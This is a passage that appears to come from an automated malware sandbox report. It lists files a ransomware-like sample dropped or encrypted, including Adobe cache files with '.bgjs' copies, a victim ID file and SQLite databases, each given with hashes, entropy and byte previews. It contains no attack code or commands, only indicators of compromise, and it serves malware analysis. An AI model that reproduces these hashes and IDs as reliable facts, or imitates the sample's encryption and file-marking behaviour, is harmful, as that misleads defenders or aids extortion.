SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFBFBGD

Download File

Process:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIEHJKEBAAEBGCAAEBFHJKKKEC

Download File

Process:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.898153434632013
Encrypted:	false
SSDEEP:	3:9DEjEvxINsf5vN:2jGxssZN
MD5:	2F719FDBD51BE742A58ED1711E35125E
SHA1:	AFCE4C99F6312EB37637FF7EE5E24C5F77F59AD3
SHA-256:	FA22FEA720A688CDD5B304427090FA95C4BE20E928B5E0170B3F15CEDA8CEDFE
SHA-512:	AACF91A25A6C5D3288F9E778583FDC163CB023345C3E8925BF56FDFC0B429E864A356AA9A07723E17DD9CA9417E9856C875AB02FBD775C4E6B700D03EAC49C08
Malicious:	false
Preview:	r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.2260360134026
Encrypted:	false
SSDEEP:	6:KW33iFU+ZvBQpCcuVl6qEdYCFFu48oxOAc/0fUbK/oQEZjGxssZacii96Z:N3dHpCc/O8rEvMfwVixpZacii9a
MD5:	31B58FF3E52E62CE9A43C249E2D4F557
SHA1:	4C1BAB4F3470380944BE9BEA056A58008B615EDD
SHA-256:	23CDCF2F6603D3705A529538EB67C71215445D09BC8962BAAD3DA73FBC4C1CAB
SHA-512:	BFC36002E0C40D6E58A8578578FEE1DA53238524CBBB8521040733A80313369FC88247916F113DA17F7E7CDB0C51AC0A749BCD4E9C8880B25B858C96528DC805
Malicious:	false
Preview:	insec.....K.8.P.EOm!..N&...U..$..!.s.D...-\..j..).n.~..`P.'.G....!..c..Zc`,."@[/....i..=...7>.........4.....o.6..O.....0..fv@....}....xQ...}.6.N......m.....3p...G..A..p..D.;S.X........{.....Q.<.).?e;.X...6S..../.N.l....j.&S4@+..F.d...7P..E!.G".H..T...[r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\.curlrc.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.2260360134026
Encrypted:	false
SSDEEP:	6:KW33iFU+ZvBQpCcuVl6qEdYCFFu48oxOAc/0fUbK/oQEZjGxssZacii96Z:N3dHpCc/O8rEvMfwVixpZacii9a
MD5:	31B58FF3E52E62CE9A43C249E2D4F557
SHA1:	4C1BAB4F3470380944BE9BEA056A58008B615EDD
SHA-256:	23CDCF2F6603D3705A529538EB67C71215445D09BC8962BAAD3DA73FBC4C1CAB
SHA-512:	BFC36002E0C40D6E58A8578578FEE1DA53238524CBBB8521040733A80313369FC88247916F113DA17F7E7CDB0C51AC0A749BCD4E9C8880B25B858C96528DC805
Malicious:	false
Preview:	insec.....K.8.P.EOm!..N&...U..$..!.s.D...-\..j..).n.~..`P.'.G....!..c..Zc`,."@[/....i..=...7>.........4.....o.6..O.....0..fv@....}....xQ...}.6.N......m.....3p...G..A..p..D.;S.X........{.....Q.<.).?e;.X...6S..../.N.l....j.&S4@+..F.d...7P..E!.G".H..T...[r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.629155473822594
Encrypted:	false
SSDEEP:	12:kk7I+Wspd/3gprlUphS1FhI4EOVEqEuwNW65bdLssNTnCfvbn74vLvA0ixpZaciD:773WspappUbshmPqxwNWobNsoT07WLoM
MD5:	1ADA51CCF76C82B5D6872483706B212C
SHA1:	1AB5E5F393508C48BDF0F4CC333BC0DF6F3DCEEF
SHA-256:	5D699B069E18883056E0AB228E1F3224278E824E641AA3E79EA6D041792893A6
SHA-512:	E5CC9AFD9C34933225F9805732A061D739A58CB7339E1969DBEB27050AD92305F66D6F3430B804F9A2099F79C6FDA5954BA5E297E4EB37BF6BB08D135249C8B6
Malicious:	false
Preview:	2023/b..+.4.....%Ln.....)..Z......S..>.....k.t.....}.fG..A....C.}kky..u;..n.....mc.AF..}..3...........?Q.h....I.._...J...K......6.b...E..l........N...UAa7....D....#)D.6.....3.r.%...?...j.....z...4ud44'...^[....>......g.@YJv.......w..O..h.i........X...h.05.V#._,.k.CR...c.`.E...*7.\|..&...SR. ?.....DUb.zE..S..i.e..N/iw3...:...&..=.5c.....97=\|8.,..,1QG.-.m.V.A..9n(#..)}K.Q....ge!.^3...jNh.^.pW..]..7.lA....}.e.A+<..........&..rr..... ....N.u6.+.>.{.U.\|.....m.b....o.#..@k......L...@.D...\U.."..`./:..cS."..yJ.=.../..jo.7YN..wr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.629155473822594
Encrypted:	false
SSDEEP:	12:kk7I+Wspd/3gprlUphS1FhI4EOVEqEuwNW65bdLssNTnCfvbn74vLvA0ixpZaciD:773WspappUbshmPqxwNWobNsoT07WLoM
MD5:	1ADA51CCF76C82B5D6872483706B212C
SHA1:	1AB5E5F393508C48BDF0F4CC333BC0DF6F3DCEEF
SHA-256:	5D699B069E18883056E0AB228E1F3224278E824E641AA3E79EA6D041792893A6
SHA-512:	E5CC9AFD9C34933225F9805732A061D739A58CB7339E1969DBEB27050AD92305F66D6F3430B804F9A2099F79C6FDA5954BA5E297E4EB37BF6BB08D135249C8B6
Malicious:	false
Preview:	2023/b..+.4.....%Ln.....)..Z......S..>.....k.t.....}.fG..A....C.}kky..u;..n.....mc.AF..}..3...........?Q.h....I.._...J...K......6.b...E..l........N...UAa7....D....#)D.6.....3.r.%...?...j.....z...4ud44'...^[....>......g.@YJv.......w..O..h.i........X...h.05.V#._,.k.CR...c.`.E...*7.\|..&...SR. ?.....DUb.zE..S..i.e..N/iw3...:...&..=.5c.....97=\|8.,..,1QG.-.m.V.A..9n(#..)}K.Q....ge!.^3...jNh.^.pW..]..7.lA....}.e.A+<..........&..rr..... ....N.u6.+.>.{.U.\|.....m.b....o.#..@k......L...@.D...\U.."..`./:..cS."..yJ.=.../..jo.7YN..wr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.612864109040956
Encrypted:	false
SSDEEP:	12:kvqhr9g/yolMspewbngMlgsATGgf+HTptCuy73SUT6NjmYdGixpZacii9a:C8G/yolMspewxnMGgf+zptCzzJT69LG1
MD5:	70CAAF0CE3265FE57C70D8B2A26ACFF1
SHA1:	961AE6B848DDE4B6BE818A9937529EE48A2B0905
SHA-256:	F9631B08883AF11CB756662E4674586E8B8F41B27ACD8BE4302D1BED42FCF980
SHA-512:	BDC7CB1BC73AB1DFD92060EC17AF331F905BFF8B06F7C5DDB962EA7DF5CDEA49686FF3BCA101A6DD5046437278BDF44F3296DA5C86ED8470F824849D9A1831A1
Malicious:	false
Preview:	2023/>.&.&.E&D..V...Y..R.$$h..&Z.PR...8]...C.n=.Ny.._..<.B..HM.e5!...3.d...K.W.,.u..X.;.^yK...._...m..j..&.v.........9.................n.U..B32.X...hYQ. .YH..2. ...m~^.n'.,{..24......hbB.u...S.9.M..-.1@...jf3.......z.....1\|.02:T.R=.x.0..<..2..&.....E.=..i.J.2H...R..VH.Z.S`.~....\ND..#.bD. ...Ba(..<.\|.....\|../....Lz3.gfC......5.Mr...nPJ..-......D.....1..t..C....o`..7....N.R.....(....cN)9iW.z...!.>.......o...../..<..3Mw^2.nC.yf.'.t...k..98.n.;<.^..."u#...Q+...".}.`...&L7.f0Rn.....Ng....&H._.!..c0....y.S...9.U?.?.g..2.3..3.Gr_.!.3.T.....@.O=y.'.... ...H..Pr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.612864109040956
Encrypted:	false
SSDEEP:	12:kvqhr9g/yolMspewbngMlgsATGgf+HTptCuy73SUT6NjmYdGixpZacii9a:C8G/yolMspewxnMGgf+zptCzzJT69LG1
MD5:	70CAAF0CE3265FE57C70D8B2A26ACFF1
SHA1:	961AE6B848DDE4B6BE818A9937529EE48A2B0905
SHA-256:	F9631B08883AF11CB756662E4674586E8B8F41B27ACD8BE4302D1BED42FCF980
SHA-512:	BDC7CB1BC73AB1DFD92060EC17AF331F905BFF8B06F7C5DDB962EA7DF5CDEA49686FF3BCA101A6DD5046437278BDF44F3296DA5C86ED8470F824849D9A1831A1
Malicious:	false
Preview:	2023/>.&.&.E&D..V...Y..R.$$h..&Z.PR...8]...C.n=.Ny.._..<.B..HM.e5!...3.d...K.W.,.u..X.;.^yK...._...m..j..&.v.........9.................n.U..B32.X...hYQ. .YH..2. ...m~^.n'.,{..24......hbB.u...S.9.M..-.1@...jf3.......z.....1\|.02:T.R=.x.0..<..2..&.....E.=..i.J.2H...R..VH.Z.S`.~....\ND..#.bD. ...Ba(..<.\|.....\|../....Lz3.gfC......5.Mr...nPJ..-......D.....1..t..C....o`..7....N.R.....(....cN)9iW.z...!.>.......o...../..<..3Mw^2.nC.yf.'.t...k..98.n.;<.^..."u#...Q+...".}.`...&L7.f0Rn.....Ng....&H._.!..c0....y.S...9.U?.?.g..2.3..3.Gr_.!.3.T.....@.O=y.'.... ...H..Pr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.729263165575705
Encrypted:	false
SSDEEP:	24:YKW3nHXlCPGS57xdqNF3p9q9ZiF/4Jw3iTkbD:YFn3AzMp89ZVwSiD
MD5:	B4F8D4C504FE7F04AEB75EA014505DDD
SHA1:	5BCAB45746210C0C34FAD272B4F626B685A74C56
SHA-256:	C5D0DB9E0488456C870261A8364B61D275DF6F5E1F3135B2EE3A403C3330B41C
SHA-512:	529C3E88723B40F4E35E41E62557A8750D234437CC9F366CAB67052F1B20EB68033C78419EBAADF95D38382084B8273DDB5A2467287FFE4712C2D2C4458149F7
Malicious:	false
Preview:	{"os_...h~........B:..F[..h.....7.6.}D....7....\......3...G........}/..up....]4aT.......s.#....<.......aAs&."li..5....m.1<z...J......:.d.?..$r.....$e.3......\|?......Nd.,E./+..Y.._..D..".^tHW...z...g..T+C$. ......;..3.... .Ig.......'.w.W.....p.E.+...\|...#...G.R....i+o.X..... .]...L.IL..b..\....A..1'Q..O...........h..O....%.u....w.Z@D.......J.Y.4....%;..~7.$p.Z....%...w.....L}.,.!...N............@{c.....g.s..)Z.....q....>m4....9.......vd.QI.8.I..^.g..q......0.FkE..k.) S97..+y.E.....].4(:..N......t...(.K...8<.+..+L....pu.wyw1...6..dq.....W..U5..h.9.N.....\|.._;.M...qj ...@...d<.}Q.3.X...7..7.1aX..hM...$.Km..~.I.3.^..)...\|..z.N....VvR$..'....G...s...Xs.'....D~..eJ....p4[X.\|/.E...IdbQk..{..4....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.729263165575705
Encrypted:	false
SSDEEP:	24:YKW3nHXlCPGS57xdqNF3p9q9ZiF/4Jw3iTkbD:YFn3AzMp89ZVwSiD
MD5:	B4F8D4C504FE7F04AEB75EA014505DDD
SHA1:	5BCAB45746210C0C34FAD272B4F626B685A74C56
SHA-256:	C5D0DB9E0488456C870261A8364B61D275DF6F5E1F3135B2EE3A403C3330B41C
SHA-512:	529C3E88723B40F4E35E41E62557A8750D234437CC9F366CAB67052F1B20EB68033C78419EBAADF95D38382084B8273DDB5A2467287FFE4712C2D2C4458149F7
Malicious:	false
Preview:	{"os_...h~........B:..F[..h.....7.6.}D....7....\......3...G........}/..up....]4aT.......s.#....<.......aAs&."li..5....m.1<z...J......:.d.?..$r.....$e.3......\|?......Nd.,E./+..Y.._..D..".^tHW...z...g..T+C$. ......;..3.... .Ig.......'.w.W.....p.E.+...\|...#...G.R....i+o.X..... .]...L.IL..b..\....A..1'Q..O...........h..O....%.u....w.Z@D.......J.Y.4....%;..~7.$p.Z....%...w.....L}.,.!...N............@{c.....g.s..)Z.....q....>m4....9.......vd.QI.8.I..^.g..q......0.FkE..k.) S97..+y.E.....].4(:..N......t...(.K...8<.+..+L....pu.wyw1...6..dq.....W..U5..h.9.N.....\|.._;.M...qj ...@...d<.}Q.3.X...7..7.1aX..hM...$.Km..~.I.3.^..)...\|..z.N....VvR$..'....G...s...Xs.'....D~..eJ....p4[X.\|/.E...IdbQk..{..4....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	5297
Entropy (8bit):	7.966831938399423
Encrypted:	false
SSDEEP:	96:Pe72q0pUCWN1pqBMRsIvU58ofXEDWDKlqPfYS:W2qJRNE8wX1jfp
MD5:	FB4F1B2D5057CACE0BF67D2648961367
SHA1:	0E75E35C4DA5B8E07691BFD6A76D260F7E2BA9FD
SHA-256:	40082AA38A6C996841B5D7D2F4DC58E0EFA79F1F8C6D230720B61D63F31D1AAA
SHA-512:	A0BC124EA8904E843C1DAE016A09504BEBE5C6DEA0E899B468F19D1B60247792F17CDB6F6D9EC54A79AA011C69C1401E32520D7397BAFCA976DEED82516CA41E
Malicious:	false
Preview:	...#~.....0X...7..``....&.~....)...>..`hH..i..Ry....i.....D+a4.. }...Q...Y-\.z......._.$.]4Yg;Hy@.I. .H7J2N....w.....Q.i...;...G^Y..r.T(.g.-..UUu.......\.@..U.........]...m..dz....(usAa.l.\|&.....Z...=.....m../.b...i=....b?k......l...xH.~....K.eF.`.e....g.rdBQ..7X..!..Q.a...k...2....>3B.(....].OI..@.......(8............ .....9U.?S..T..}.m>P.:..>...5A..C....4_kHG..4....\(.=...??....5._V.k..../.^...r.K..y..2.....R..MGL...l..s).c.Q.>.>.U.dr.....}J...L.?..%.J...30.<.0.M..6.YRD...c.x.6B.w......n...$K.2.".....`.%S.d$....B..p7O....X....._C...... !iy.U.......r.p......%M..........D......a.0G..O..m..ckD..d...j...0.].N.....;.f.2.....F...$....wSoI.j.:/U.SQ`f..{]<..:..."...c./.I.a>..z.g..w.:...O......E...9.0..~.. ..7&.w$3..Z.E.hm..~..Y;. .;..1.O.G#..Xf..p.P..q...I...JE\|bS.~X..R.B.).......O.t\|..]...x.8~...4.....W.*.+o..e...>{..F.{.v..R8..UQ.cc8...!.. .@..yS.....s.......V?Q....b.V.v..8......N.Y......(x..%i...\|.RFT..d-P).....I.Ar...x8...Z..?..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	5297
Entropy (8bit):	7.966831938399423
Encrypted:	false
SSDEEP:	96:Pe72q0pUCWN1pqBMRsIvU58ofXEDWDKlqPfYS:W2qJRNE8wX1jfp
MD5:	FB4F1B2D5057CACE0BF67D2648961367
SHA1:	0E75E35C4DA5B8E07691BFD6A76D260F7E2BA9FD
SHA-256:	40082AA38A6C996841B5D7D2F4DC58E0EFA79F1F8C6D230720B61D63F31D1AAA
SHA-512:	A0BC124EA8904E843C1DAE016A09504BEBE5C6DEA0E899B468F19D1B60247792F17CDB6F6D9EC54A79AA011C69C1401E32520D7397BAFCA976DEED82516CA41E
Malicious:	false
Preview:	...#~.....0X...7..``....&.~....)...>..`hH..i..Ry....i.....D+a4.. }...Q...Y-\.z......._.$.]4Yg;Hy@.I. .H7J2N....w.....Q.i...;...G^Y..r.T(.g.-..UUu.......\.@..U.........]...m..dz....(usAa.l.\|&.....Z...=.....m../.b...i=....b?k......l...xH.~....K.eF.`.e....g.rdBQ..7X..!..Q.a...k...2....>3B.(....].OI..@.......(8............ .....9U.?S..T..}.m>P.:..>...5A..C....4_kHG..4....\(.=...??....5._V.k..../.^...r.K..y..2.....R..MGL...l..s).c.Q.>.>.U.dr.....}J...L.?..%.J...30.<.0.M..6.YRD...c.x.6B.w......n...$K.2.".....`.%S.d$....B..p7O....X....._C...... !iy.U.......r.p......%M..........D......a.0G..O..m..ckD..d...j...0.].N.....;.f.2.....F...$....wSoI.j.:/U.SQ`f..{]<..:..."...c./.I.a>..z.g..w.:...O......E...9.0..~.. ..7&.w$3..Z.E.hm..~..Y;. .;..1.O.G#..Xf..p.P..q...I...JE\|bS.~X..R.B.).......O.t\|..]...x.8~...4.....W.*.+o..e...>{..F.{.v..R8..UQ.cc8...!.. .@..yS.....s.......V?Q....b.V.v..8......N.Y......(x..%i...\|.RFT..d-P).....I.Ar...x8...Z..?..

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	661
Entropy (8bit):	7.681231260960317
Encrypted:	false
SSDEEP:	12:kpuMDK7R5l72Xk3ZpjKFEYZCfHzzFZ/NByUSHA86nzvRixpZacii9a:Q6e0ppgqzzTFwBX6zJiTkbD
MD5:	A7B7AE6E808A888CB29EF5C0968F3E14
SHA1:	A6E610B34E58C653B189C63A3FCB776F806F366C
SHA-256:	35C07FD66634CCAB4974F3F504C4C454879B1C42684287EFDA484338C8E8F942
SHA-512:	03D56ADAAB2CE57B5EFD574D25AD9DC4446EC4C2D45B7A7E9D0C2F3BDF457AFB52B663A0049345B6C4EDC234DE58B2F46EE26090F4163559818A5954EB92775F
Malicious:	false
Preview:	2023/...Yn...?Q. ........._mo0Q..N....)...`.r.t.........s.`<.....D..VH.'......_..]...q.P".....).c.....-1\|..,..s..d^...>.....;.6.tY.aR...6...(3.......]O6.h..a...N..E.."`...~.9..}#..t.j......6.SPz...T...."...[......Sq...Kui._._IDT..%. NU...B.?(.Z./.0WnJ~R]iML.FE..s.+.J...3x..;..B...Fe..e......M.~[...VgO8(.}....F..k=T.}_t[.LCP.r.\.........V.HO.L..A..g..tH..Bz.@%.o...S..[.8... ..i..'MO.......j.F.@#.>o9..S.j...W$...........o..\.[;......UC...b.d.a...[.&.b......H........R..vC..3..........'H.jH..g....63..s.b.....:..1. 1...........k..\?..g._.h=.,r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	661
Entropy (8bit):	7.681231260960317
Encrypted:	false
SSDEEP:	12:kpuMDK7R5l72Xk3ZpjKFEYZCfHzzFZ/NByUSHA86nzvRixpZacii9a:Q6e0ppgqzzTFwBX6zJiTkbD
MD5:	A7B7AE6E808A888CB29EF5C0968F3E14
SHA1:	A6E610B34E58C653B189C63A3FCB776F806F366C
SHA-256:	35C07FD66634CCAB4974F3F504C4C454879B1C42684287EFDA484338C8E8F942
SHA-512:	03D56ADAAB2CE57B5EFD574D25AD9DC4446EC4C2D45B7A7E9D0C2F3BDF457AFB52B663A0049345B6C4EDC234DE58B2F46EE26090F4163559818A5954EB92775F
Malicious:	false
Preview:	2023/...Yn...?Q. ........._mo0Q..N....)...`.r.t.........s.`<.....D..VH.'......_..]...q.P".....).c.....-1\|..,..s..d^...>.....;.6.tY.aR...6...(3.......]O6.h..a...N..E.."`...~.9..}#..t.j......6.SPz...T...."...[......Sq...Kui._._IDT..%. NU...B.?(.Z./.0WnJ~R]iML.FE..s.+.J...3x..;..B...Fe..e......M.~[...VgO8(.}....F..k=T.}_t[.LCP.r.\.........V.HO.L..A..g..tH..Bz.@%.o...S..[.8... ..i..'MO.......j.F.@#.>o9..S.j...W$...........o..\.[;......UC...b.d.a...[.&.b......H........R..vC..3..........'H.jH..g....63..s.b.....:..1. 1...........k..\?..g._.h=.,r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.424709130970012
Encrypted:	false
SSDEEP:	12:49R9ub11E1XhaCJcx1kblYRrf/pcOK16+/l/ixpZacii9a:a51XwCE1kbmFpoht/iTkbD
MD5:	7302AA62093067580C4054A98689CDB8
SHA1:	0330D446608F807461AEC5F6DF69FA7ED705458C
SHA-256:	57C7427B1E68E044CF744FB1694A22F6C5A970F9B6E5AA92860D4A7F86035201
SHA-512:	308851E51725719972B3D056B126DBC7E96A2FE7CCA92F48EE23960783E56FEBD9F40B2AFC887178B11143F4635AA58A3DD665ABD0C95B2D7264B3CE72C1BF09
Malicious:	false
Preview:	..../.a#8........H.h.u...+U...:.`.].Z_.1M....`<D8.A)-....?Yzj..dS.?%l....M.......R..F....-......y......@Y..7...H..s}.L..F.T..w.....g.{...(.&...r........BC...`..x.R.\|W.O....at,.G....s../..>......`A.......V.5>6........}......E.K...C....Tic[....!..dS...7.Q...=...xy.<.e...n\...e~..n.g......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\000003.log.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.424709130970012
Encrypted:	false
SSDEEP:	12:49R9ub11E1XhaCJcx1kblYRrf/pcOK16+/l/ixpZacii9a:a51XwCE1kbmFpoht/iTkbD
MD5:	7302AA62093067580C4054A98689CDB8
SHA1:	0330D446608F807461AEC5F6DF69FA7ED705458C
SHA-256:	57C7427B1E68E044CF744FB1694A22F6C5A970F9B6E5AA92860D4A7F86035201
SHA-512:	308851E51725719972B3D056B126DBC7E96A2FE7CCA92F48EE23960783E56FEBD9F40B2AFC887178B11143F4635AA58A3DD665ABD0C95B2D7264B3CE72C1BF09
Malicious:	false
Preview:	..../.a#8........H.h.u...+U...:.`.].Z_.1M....`<D8.A)-....?Yzj..dS.?%l....M.......R..F....-......y......@Y..7...H..s}.L..F.T..w.....g.{...(.&...r........BC...`..x.R.\|W.O....at,.G....s../..>......`A.......V.5>6........}......E.K...C....Tic[....!..dS...7.Q...=...xy.<.e...n\...e~..n.g......r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	modified
Size (bytes):	460
Entropy (8bit):	7.452485779754377
Encrypted:	false
SSDEEP:	12:GqUfLSWPd3Au3OBezLipUzz+Vys5hSWRe4PxaMixpZacii9a:GfLS2dw4Ooz3sxiTkbD
MD5:	49AA90CB9D899E8157539716B3C59952
SHA1:	4ADDE3AED61DD749E3BB2D51E917FC40A579A717
SHA-256:	C6437DA1830C453823007CC0EBA65FBEB0FA8027C8CEB68169A8AB5CE417331E
SHA-512:	9223D109C24F76F01FA4D9246D444E4E57E0C89AD06D17673FFC2B44D86B13E59B880F285225EAA671075270FEEE76E8FF0997472C416CB8DE14C3B949A70BBF
Malicious:	false
